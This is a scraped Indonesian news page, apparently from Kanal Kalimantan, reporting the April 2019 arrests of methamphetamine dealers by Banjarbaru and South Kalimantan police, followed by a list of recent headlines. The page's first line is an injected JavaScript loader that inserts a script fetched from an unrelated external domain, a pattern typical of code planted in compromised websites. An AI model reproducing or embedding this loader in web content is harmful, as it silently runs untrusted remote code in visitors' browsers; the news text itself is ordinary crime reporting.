(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

Dua Pengedar Sabu Dibekuk Sat Resnarkoba Polres Banjarbaru


BANJARBARU, Pria berumur 55 tahun, SY ditangkap Sat Resnarkoba Polres Banjarbaru di rumahnya jalan Ahmad Yani Km 32,5 Kelurahan Loktabat Selatan, kota Banjarbaru, kedapatan simpan sabu dengan berat 1,06 gram, Jum’at (12/4/2019).

Bermula dari penangkapan SY, Sat Resnarkoba Polres Banjarbaru melakukan pengembangan ke wilayah hukum Kabupaten Tanah Laut diback up Sat Resnarkoba Polres Tanah Laut melakukan penyelidikan dan sekitar pukul 23.30 Wita pada hari Jum’at petugas melakukan penggrebekan di rumah AS (40) di Komplek Griya Blok H, Kecamatan Bati-bati, Kabupaten Tanah Laut.

“Penggeledahan dan mendapatkan barang bukti Narkotika jenis sabu sebanyak 3 bungkus plastik klip dengan berat 4,24 gram, 4,37 gram dan 2,56 gram beserta alat hisapnya, ucap Kasat Resnarkoba Polres Banjarbaru, AKP Elche.

Pelaku beserta barang buktinya diamankan dan dibawa ke Polres Banjarbaru untuk dilakukan proses hukum lebih lanjut, sementara itu petugas masih melakukan pengembangan di lapangan.

Sebelumnya, Subdit 2 Direktorat Narkoba Polda Kalsel juga melakukan penangkapan terhadap warga Jalan Sungai Sumba, Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Kota Banjarbaru atas nama Maskur atau yang kerap disapa Aat.

Aat yang berprofesi sebagai sopir ini diamankan petugas di kediamannya. Dalam penangkapan tersebut, pihak kepolisan menemukan barang bukti 2 paket sabu dan uang tunai Rp 6 juta. Oleh petugas barang bukti dan pelaku dibawa ke Mako Ditnarkoba Polda Kalsel.

Direktur Narkoba Kombes Wisnu Widarto melalui Kabag Binopsnal AKBP Sigit Kumoro, Sabtu (13/4/2019) siang, membenarkan pihaknya mengamankan pelaku Jum’at (12/4/2019) malam.

Dalam penggeledahan, petugas temukan 2 paket sabu dengan berat kotor 5,43 gram, 1 buah sendok sabu dari sedotan, 2 pack plastik klip, 1 buah timbangan digital, 1 buah tas, 1 buah kotak Hp, 1 buah buku catatan, uang tunai Rp 6juta, dan 2 buah Hp. (rico)

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

5 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

6 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

6 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

7 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

7 jam ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

7 jam ago

This website uses cookies.